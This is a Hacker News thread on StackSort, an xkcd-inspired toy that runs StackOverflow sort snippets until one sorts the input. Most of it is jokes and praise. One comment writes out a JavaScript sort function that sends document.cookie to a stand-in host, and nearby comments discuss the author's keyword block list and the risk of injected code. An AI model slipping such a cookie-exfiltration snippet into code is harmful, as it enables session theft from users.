18 ms·
Show HN: XKCD-inspired StackSort
- gkoberger 14y agoThis was inspired by the alt-text from last week's "Ineffective Sorts" xkcd (http://xkcd.com/1185/ http://xkcd.com/1185/). It tries to sort a list or JSON by fetching code from StackOverflow until it properly sorts the input.
- fwenzel 14y agoDo you test the result, or just hope if it runs, it actually worked?
- jstanley 14y agoI found one that returned the wrong result, so it seems to just assume it works as long as it runs.
- gkoberger 14y agoIt doesn't test for two reasons: 1) I thought it would defeat the purpose 2) "Sort" is very arbitrary. Do you want to sort by key or value? Is "1000" bigger or smaller than "2"? etc
- fwenzel 14y agoFair; also, it's called an 'ineffective' sort, and if you tested it, it'd become effective (not efficient, of course). So, good point!
- simcop2387 14y agoYou could probably test it by taking multiple sorts from SO and then comparing results. the moment you get two that agree, you have a winner!
- crusso 14y agoNicely done. I enjoyed looking at the code. For those of you who want to jump straight to the meat of it, go here: https://github.com/gkoberger/stacksort/blob/master/js/script.js https://github.com/gkoberger/stacksort/blob/master/js/script... Search down for "run_snippet_go"
- unfletch 14y agoFYI, you can link to a specific line on GitHub by appending #L<line no.> to the URL. In this case: https://github.com/gkoberger/stacksort/blob/master/js/script.js#L138 https://github.com/gkoberger/stacksort/blob/master/js/script... GitHub even adds the anchor for you if you click on the line number in the gutter. (shift-click to select a range of lines.)
- fwenzel 14y agoBeautiful, beautiful!
- recuter 14y agoIf you give it about 30 seconds it works eventually, this is beautiful. I had a good laugh. Edit: It makes me want to do something crazy like setup a tool chain that cobbles whole programs together with trial and error like this. Throw enough resources at it maybe it will be faster and cheaper than your avg. developer. It will be an unmaintainable mess as if you used Brainfuck or Perl. But it will run, by god, it will run. :D You laugh now, but imagine a bizarre combination of genetic programming and machine learning with Stackoverflow and Github used as corpuses. Great Scott!
- TheAnimus 14y agoWorst case scenario, Shakespeare.
- gkoberger 14y agoAh, applying the Infinite monkey theorem to programming :) http://en.wikipedia.org/wiki/Infinite_monkey_theorem http://en.wikipedia.org/wiki/Infinite_monkey_theorem
- fnordfnordfnord 14y agoYeah, but there are a few well trained monkeys hanging out [mining for karma points] at StackOverflow. The really adventurous would direct it at 4chan.
- redthrowaway 14y agoDirect at at /prog/ and you may eventually run across SleepSort, which would at least do something mildly useful (in >30 languages, no less!)
- vanderZwan 14y agoSince 4chan threads are thrown away, it lacks the "hereditary" trait of the variation/selection/heredity trio. Unless you include one of the sites that archives popular threads I suppose.
- 14y ago
- potch 14y agoI'd love a way to see the code that ran to generate the output.
- gkoberger 14y agoThere's a link to it in the "output" on the right (but yeah, I should make it more obvious)
- barredo 14y agoReally good work gkoberger!
- deleted 14y ago[deleted]
- deathcakes 14y agoI did wonder how long it would take after reading that comic to someone implementing it. Congratulations!
- btipling 14y agoQuick someone write a 'sort' that steals github session cookies. ;P
- gkoberger 14y agoI only search answers posted before the comic was released for this reason :) (Also, I block any code that uses the word "cookie") Plus, I'm assuming that since they let anyone run arbitrary code on subdomains, they've thought this through.
- _dark_matter_ 14y agoQuick, someone edit your code that has "javascript" and "sort" as keywords so it steals session cookies!
- vnorby 14y agoThis won't work on Github's subdomain, but you'd do it like this: function sort(data) { $('body').append('<script src="http://cookiestealer.com/log.js?cookie= + document.cookie + '"></script>"); return data.sort(); }
- c-oreills 14y agoDammit, just as I was about to write a function sortArray(a) { alert('Hello StackSort!') } Question/Answer. =( Good foresight!
- gkoberger 14y agoI also don't allow alerts :)
- petenixey 14y agoThis is a really cool script you've written and made me laugh out loud. It would be a shame though if someone edited / republished / whatever an old script and used it to steal people's github cookies (your code wouldn't be able to filter someone calling a remote script which then ran its own code for instance or a script that evaled a new script based on a string / unicode etc.) It might be best to just run the code in a frame that's not hosted on Github then you're safe.
- phantomcircuit 14y agoIt seems to pretty much always pick http://stackoverflow.com/questions/14761032/infinite-recursion-in-javascript-quicksort#14761203 http://stackoverflow.com/questions/14761032/infinite-recursi... Needs some randomization.
- checksum 14y agoSo if I make a post on stackoverflow with the tags "javascript" and "sort", and put some dirty JS in there, could it take down people's browsers?
- gkoberger 14y agoIn theory, sure. However, I only use answers posted before the comic was released to avoid this very problem :)
- mrgoldenbrown 14y agoAre you taking edits into account?
- kevjiang 14y agoDoesn't seem like it. Code: var common_url = '&pagesize=100&order=desc&site=stackoverflow&todate=1363473554'; SO /questions api: todate – Unix timestamp of the maximum creation date on a returned item
- pmelendez 14y agoWow.. beautiful! I know this is only for fun, but it can start something bigger. Basically, given an input and output we could search for an algorithm that works. It reminds me a talk that PG gave in which he states people making bots to optimize code and then an intelligent compiler could be done. It sounded very futuristic, but maybe it is not that futuristic after all...
- subb 14y agoThis is called TDD.
- pmelendez 14y agoNot really the same. TDD just give you the requirements for implementation. The intention of what I said is to given those requirements find a set of solutions. PG's idea is more ambitious, since is more like a set of plugins attached to the compiler so it could perform very high level optimizations (like finding an iterative solution given a recursive process)
- subb 14y agoI know. It was sort of a jab at TDD, implying that people following TDD only care about their tests. Oh well.
- deleted 14y ago[deleted]
- mayank 14y agoGenetic programming; type that into google scholar and look at the late-80s and early-90s papers.
- pmelendez 14y agoThanks!, I used to play with GP back in the university. It's really fun! However, GP is more like an oriented random search where the space of search is really big. Here the space is somehow filtered by humans, where each hypothesis had been generated by a human and not by a machine. It would be interesting if the machine could evolve those solutions that are not quite but close to be the proper one :)
- raverbashing 14y agoAmazing One could join this with unit-tests so you would fetch code until the unit tests for what you are trying to do pass And then maybe add some genetic programming to it if the code is almost there
- hcarvalhoalves 14y agoGreat. I thought about implementing it myself after reading the XKCD, I knew it was plausible. I tried it and it found an algo that actually worked: http://stackoverflow.com/questions/14761032/infinite-recursion-in-javascript-quicksort http://stackoverflow.com/questions/14761032/infinite-recursi...
- cwlb 14y agorun it a few more times, that's the only one it finds.
- gjulianm 14y agoNoticed that there was a lot of "Potentially bad code" answers. I read you are avoiding scripts with "cookie" or written after the comic was written, but are there other restrictions? For example, this was banned: http://stackoverflow.com/questions/14800987/javascript-sorting-by-algorithm-jquery-maybe#14803334 http://stackoverflow.com/questions/14800987/javascript-sorti... Just curious about it.
- ajanuary 14y agoI'm guessing there are attempts to blacklist DOM manipulation.
- gkoberger 14y agoI attempt to block anything that does DOM manipulation, uses Backbone or underscore, uses "Date()" (since it's probably a benchmark and those are slow), and a few others.
- asveikau 14y agoCan you also write code to detect whether a program will run forever for a given input? ducks
- gkoberger 14y agoI looked for a way, but turns out it's not possible with JS. Browsers will stop infinite loops after a few seconds, though. EDIT: Ah, I missed the joke.. what I meant was that I looked for a way to stop the JS if it ran for more then a second.
- rm999 14y agoI believe this is the joke: http://en.wikipedia.org/wiki/Halting_problem http://en.wikipedia.org/wiki/Halting_problem >In computability theory, the halting problem ... is equivalent to the problem of deciding, given a program and an input, whether the program will eventually halt when run with that input, or will run forever. Alan Turing proved in 1936 that a general algorithm to solve the halting problem for all possible program-input pairs cannot exist.
- logical42 14y agothis is terrific. i wish i could give you all my karma.
- nathell 14y agoHas anybody made a gallery of real implementations of Randall Munroe's hilarious ideas yet? I recall at least three exhibitions: this, M-x butterfly, and Hell Tetris; there are probably many others.
- JoshTriplett 14y agohttp://splasho.com/upgoer5/ http://splasho.com/upgoer5/ as well.
- xymostech 14y agoI suppose wetriffs might also count.
- tensafefrogs 14y agoDon't forget the YouTube audio comment preview.
- jdechko 14y agoAlso, geohashing I'm waiting for 1Password to implement 936. http://xkcd.com/936/ http://xkcd.com/936/ It's not that I don't trust 1Passwords generation algorithm, but when I'm on a borrowed PC (wife's laptop, inlaws desktop or even at work where I can't install 1P) this would help. It's much easier to open 1P on my iPhone, look up a password and type in "correct horse battery staple" than to constantly have to refer back to my phone.
- pmelendez 14y agoI actually changed my way to pick password thanks to that comic. There are longer and usually with the same entropy, but so much easier to remember!
- jdechko 14y agoI just wish my password manager would do that automatically. I know there are terminal scripts and apps that will do it. I'd just like it to be integrated.
- hmsimha 14y agoThis is probably the most elaborate setup for a joke ever.
- jayzalowitz 14y agoSo beautiful.. should ... have sent... a Perl book writer.
- kevinalexbrown 14y ago"So, I made it." is probably the best explanation ever. Also the moving clock in the xkcd figure! Awesome touch. Also of utmost importance: it sorts both [8,6,7,5,3,0,9] and "jennyigotyournumber". Now I'm really gonna make her mine.
- lucian303 14y ago"this is probably the worst thing ever" (referring to eval from another site) truly is <i>the</i> worst thing ever. OP speaks the truth. I didn't get beyond that for obvious practical reasons.
- cwlb 14y agohas nobody else noticed that the default list always sorts with the same algorithm? http://stackoverflow.com/questions/14761032/infinite-recursion-in-javascript-quicksort#14761203 http://stackoverflow.com/questions/14761032/infinite-recursi...
- thedufer 14y agoThat's because it always tried answers in the same order. If you tell it to keep going, it'll succesfully sort with http://stackoverflow.com/questions/4833651/javascript-array-sort-and-unique#4833835 http://stackoverflow.com/questions/4833651/javascript-array-... and http://stackoverflow.com/questions/12137690/javascript-sort-sparse-array-keep-indexes#12137767 http://stackoverflow.com/questions/12137690/javascript-sort-... as well.
- anonymous 14y agoThose two don't work in the general case. The first only leaves the unique members of the list, so you get a sorted set. The second sorts lexicographically, because javascript's .sort() method on arrays sorts lexicographically. This means that if you have a list of numbers like [1, 2, 10], it will get sorted as [1, 10, 2]. Unless you pass your own comparator in. What this page really demonstrates is that there is precisely one answer on stackoverflow containing a complete generic sort function in javascript (quicksort in fact).
- thedufer 14y agoSorry; I should have specified that I only used the example input.
- gkoberger 14y agoWell, yeah... it's an algorithm. Hit "keep trying" (big yellow button) to find more results. Or, fork it and play with the StackOverflow queries.
- fwenzel 14y ago
- dorafmon 14y agoThe best sorting algorithm ever.
- ChuckMcM 14y agoFor the numbers it eventually ends up here : http://stackoverflow.com/questions/14761032/infinite-recursion-in-javascript-quicksort#14761203 http://stackoverflow.com/questions/14761032/infinite-recursi... but by and large this is a great hack. I worry however if someone meta-exploits this by creating a javascript XSS in a stack exchange answer waiting patiently ...
- BHSPitMonkey 14y ago"The site will only fetch accepted answers, and it only uses answers that were posted before the xkcd was released (meaning that if someone posted malicious code now, it wouldn't matter)."
- fnordfnordfnord 14y agoThat was right neighborly of him.
- ufo 14y agoI think it might still be vulnerable to people editing one of those old answers though.
- BHSPitMonkey 14y agoThis is true. It doesn't look like the code digs down into an answer's revision history or anything like that.
- tlrobinson 14y agoWould they even be able to do much damage? The site is hosted on a subdomain of Github, so I presume they wouldn't be able to do much. Right? I mean I hope sites hosted on *.github.com can't compromise my Github account...
- apendleton 14y agoAt a very basic level, it could redirect you to some other page hosting a browser exploit and drive-by-install malware. Certainly seems like there are enough Java exploits laying around for that to be a problem. But no, I don't think it has access to anything privileged.
- hatFolk 14y agoThis is brilliantly amazing. Whats stopping it from accidentally finding an infinite loop, though?
- Jeremy1026 14y agoI'm sure that TempleTypeDef (http://stackoverflow.com/users/501557/templatetypedef http://stackoverflow.com/users/501557/templatetypedef) is loving this. As their answer (http://stackoverflow.com/questions/14761032/infinite-recursion-in-javascript-quicksort#14761203 http://stackoverflow.com/questions/14761032/infinite-recursi...) went from 5 upvotes when this was originally submitted to 29 at the time of this comment. Presumably all due to the HN effect. Does the script run through the same order each time, because I keep getting that answer first, and by the upvotes, as are a bunch of others.
- niggler 14y agoIt looks like the same order, and every time i run it stops at the same answer
- JosephRedfern 14y ago'test.js': Hahahahahahahaha Oh.. you were serious. Well, the fact that you're reading this means GitHub hasn't taken the repo down yet... so I guess things are still going pretty well?
- milkshakes 14y agoThis reminds me of a project I was exposed to at school[1] It allows you to search for code by the test cases it passes. It was a little slow, but that was one of the first times computers truly felt magical to me. [1]http://cs.brown.edu/~spr/research/s6.html http://cs.brown.edu/~spr/research/s6.html
- gridspy 14y agoThat is truly awesome! Thanks for sharing. Quote from the linked article: " The system works by using the keywords to access one of the available code search engines (or a local code search engine for code available at Brown), to get candidate files. Each class or method in these files (depending on what the user is searching for) is considered a potential solution. These solutions are then transformed using a set of about 30 transformations in an attempt to map the code into exactly what the programmer specified. The transformations range from the simple (e.g. changing the name of the method to match the signature) to the complex (e.g. finding a line in the method that computes a value of the returned type and then doing a backward slice until the only free variables are values of the parameter types). All the solutions that can be transformed to match the signature are then tested using the given test cases, security constraints, and JML rules. "
- BerislavLopac 14y agoI can actually imagine a gist-like repo of algorithms which would be callable as Web services, each with its own URL. It would then be possible to run a search based on some predefined parameters, like in a unit test, and when an algorithm is found that performs accordingly it would be listed with stats how quick it ran. Damn, if I only had the time to write this... |-(
- vehementi 14y agoDoes this support fuckit? https://github.com/mattdiamond/fuckitjs https://github.com/mattdiamond/fuckitjs
- alemhnan 14y agoThat's awesome. Think about it, if we were able to extract the meaning (what it does and under which assumptions) of the algorithms on SO we could use them as an API. You declare "what you need" and which assumptions and you just made a call to an API to download the best, peer reviewed, code. Like something code as service.
- gizmo686 14y agoThis is still a far way away from the program actually understanding the code to the point unnecessary for that. However, if I understand what you are describing, a simmalar system exists for Haskell (and possibly other languages)[1]. The idea behind hoogle is that you search for a type signature and get back functions with such a type. This idea probably would not work well for most languages, as it depends heavily on the strength of haskells type system. Also, hoogle only looks at standard libraries, but there is no reason we cannot use the same type system based search with SO. [1] http://www.haskell.org/hoogle/ http://www.haskell.org/hoogle/
- shakkhar 14y agoLove it. So out of every 20 code snippets or so on StackOverflow, one is for sorting?
- gkoberger 14y agoIt only runs answers tagged "javascript" and "sorting". So, one out of every 20 code snippets about javascript and sorting actually has working, runnable code.
- mslot 14y agoThis might actually be an interesting way to find the best implementation for a problem...
- Tichy 14y agoA while ago I mused about a program that could also post questions on SO and implement a spec that way. I also like this thought of an algorithm failing publicly and anybody being able to jump in and fix it. I guess people have coded in Etherpad before, but still: how about implementing some program wiki-style, with editing rights for everyone?
- haddr 14y agolove it!
- ErikRogneby 14y agoAwesome, I love it. an automatic up-vote on the first Stackoverflow answer that works would be my only addition.
- arikrak 14y agoIf a site like StackOverflow/Github had a more powerful search, better semantic data, etc. maybe people would be able to create things primarily by searching through it? In this example, one would type "sort array" and it would auto-find a function that sorts an array, but perhaps more advanced things can also be done? I guess it depends somewhat on how re-usable code really is, besides on the ability of a computer to find the right code. At the very least, there should be better search/help when one is coding. SO's current search isn't good at returning the best results.
- ardrabczyk 14y agoYeah, I thought about the same. The Internet is just the enormous knowledge base. And the Internet is not only WWW, it's also IRC, Usenet, FTP servers, TOR, all kinds of darknets. It's worth more than any printed encyclopedia or dictionary. Yet, there is still no a good way to find a particular information fast, especially for non-IT people. Therefore, every initiative to make simpler is worth attention.
- ufo 14y agoOn a more serious note, Hoogle[1] does something similar for the Haskell standard libraries: You give it a type signature (essentially a sort of specification of what the function should do) and it tells you if there are any functions that match it. [1] http://www.haskell.org/hoogle/ http://www.haskell.org/hoogle/
- JD557 14y agoIt would be really cool to have this implemented on a language with implicit functions (like VDM, where you can define a function by its postcondition alone). Who knows, it might actually work. https://en.wikipedia.org/wiki/Vienna_Development_Method#Functional_modelling https://en.wikipedia.org/wiki/Vienna_Development_Method#Func...
- TeMPOraL 14y agoNow I'm waiting for 4chan to game StackOverflow so that the first answer this script finds will be some kind of a prank ;).
- XEKEP 14y agothe algorithm (wisely!) ignores all posts dated before it's published
- deleted 14y ago[deleted]
- piyush_soni 14y agoHumm ... 6 minutes already, but it's still "Fetching page 1..." for me.
- gkoberger 14y agoSome people have reported that its doing this for some Firefox configurations. Try Chrome?
- piyush_soni 14y agoHumm ... works instantly with Chrome. Not sure why it's not working with Firefox (haven't seen the code yet - might debug if I get some time)
- gkoberger 14y agoLet me know if you do. It works fine for me in Firefox (I'm an ex-Mozillian; that was the first place I checked), so I don't know why it's not working.
- Aldri 14y agoHere is the error log for firefox: TypeError: e is undefined http://gkoberger.github.com/stacksort/js/lib/jquery.js http://gkoberger.github.com/stacksort/js/lib/jquery.js Line 3
- saiko-chriskun 14y agogetting this on firefox as well
- gkoberger 14y agoAnnnnnd... fixed!
- djbender 14y agoI can't stop laughing. Well done!
- ardrabczyk 14y agoIs this really an 'alt text' what the author of this page is referring to? Isn't 'alt text' a piece of text that shows when the image is unavailable?
- pizza 14y agoHover over an image with an alt-text attribute, and a tooltip with the alt-text pops up. All of the xkcd comics have alt-text, and it's a good practice in general, for accessibility software.
- ufo 14y agoActually, as other people mentioned, the real attribute that XKCD is using is "title": <img src="http://imgs.xkcd.com/comics/aspect_ratio.png" title="I'm always disappointed when 'Anamorphic Widescreen' doesn't refer to a widescreen Animorphs movie." alt="Aspect Ratio">
- pizza 14y agoIndeed!
- gkoberger 14y agoTechnically it's a "title", however everyone refers to the XKCD text shown on hover as "alt text". (See http://m.xkcd.com/ http://m.xkcd.com/, even xkcd calls it that).
- edraferi 14y agoOh my god yes.
- emp 14y agoNeat. Reminded me of how Pharo Smalltalk you can open the Method Finder and enter the arguments and expected output, and it lists methods that return the correct output. Now, back to work in my primitive, modern IDE :(
- joezhou 14y agoThis is one of the coolest things that have happened on HN this year!
- tandrasz 14y agoLove it. It shows that how the "i" language could work. The "i" stands for internet or interactive: http://tandrasz.blogspot.com.au/2011/03/i-programming-language-part-1-concept.html http://tandrasz.blogspot.com.au/2011/03/i-programming-langua... Tomasz
- deleted 14y ago[deleted]
- ryanhandby 14y agoDefinitely up there with one of the coolest things I have seen this year.
- bjc 14y agothrow-enough-sh*t-at-the-wall-and-something-will-eventually-stick method of software development :)
- yaix 14y agoWorked perfectly on first try. And you only have to change two words in the code to totally re-program it.
- abecedarius 14y agoSqueak has this kind of thing actually built in: from a sample input and output IIRC it tries most available methods to find any that produce the output. Fetching more code off the net of course adds a whole new dimension...
- DigitalSea 14y agoThis is impressive. I wish I possessed the same skills and determination as you to just go and make something without overanalysing things. This is impressive, beautifully done.
- sxywu 14y agoi love this - thank you for brightening my day. (and indirectly making me create an HN account.)
- PBxdId7wFr 14y agoWhich x k x d is it referring to? I missed that one!
- bcRIPster 14y agoThis a riot. Thanks for the laugh :)
- tson_11 14y agoAwesome! Should apply a performance test to each correct algorithm and later make a list of the most efficient sort code per list type
- deepGem 14y agoThis could be a very effective means for developing a new problem solving app. For example: You are having some Javascript template errors. Just load your template and check for all potential solutions on SO and pump out the corrected template. Possibilities are endless. Way to guys. Very impressed.
- snjha1712 14y agoThis is interesting!
- cinbun8 14y ago"If you like running arbitrary code in your browser, try it out." - O.O
- 3dptz 14y agoBrilliant, I love it. I see a bunch of variations on this popping up real soon.
- mosselman 14y agoGenius.
- arthalbuwa 14y agoGreat stuFF
- puissance 14y agoThis is why I love programming!
- xfreax 14y agoI saw that this thing fetches a Javascript code and runs in my machine and am very dubious about its "script" action.
- sherwin 14y agoSemi related question -- how is this implemented security wise? I took a look at the github repo and it seems to be all clientside JS, and it's just making ajax GET search requests to StackOverflow, then parsing the results. Isn't this prevented by same origin policy?
- youngian 14y agoLooks like they're using CORS. The Access-Control-* response headers control that.
- mortan 14y agoThis is absolutely genius, made my day! :D
- k_infinite 14y ago>Don't judge me! This code is everything from badly written to extremely dangerous. My code is never good enough. Whenever I release a piece of code, it always seems like a load of crap. And as I have got a bit better at coding over the years, this never changed. (Probably because I do write shitty code.) So I came to believe that it doesn't matter how proficient a programmer you become, you will probably always feel this way, because your eyes are already set on the next level of proficiency, your standards are always above your current abilities. And that's good, because this is how you get better. But because of this, your code always seems like a piece of crap and whenever you decide to go public with it, you always feel compelled to make a note about this in your code. I propose that we standardize the way that we declare this sentiment, and agree on a universal sign much like the copyright sign for this idea, that says: "I hereby declare that I am not a douche bag, who thinks his code is the best code that has ever been coded into existence. I am just a coder who aspires to provide the best code to the best of his abilities under the circumstances. I am willing to learn though, and I aspire to write better and better code, even though this piece of code might stink. But nobody is perfect. Deal with it."
- shailparas 14y agohow to change height and width manually of pdf by using html2pdf class in php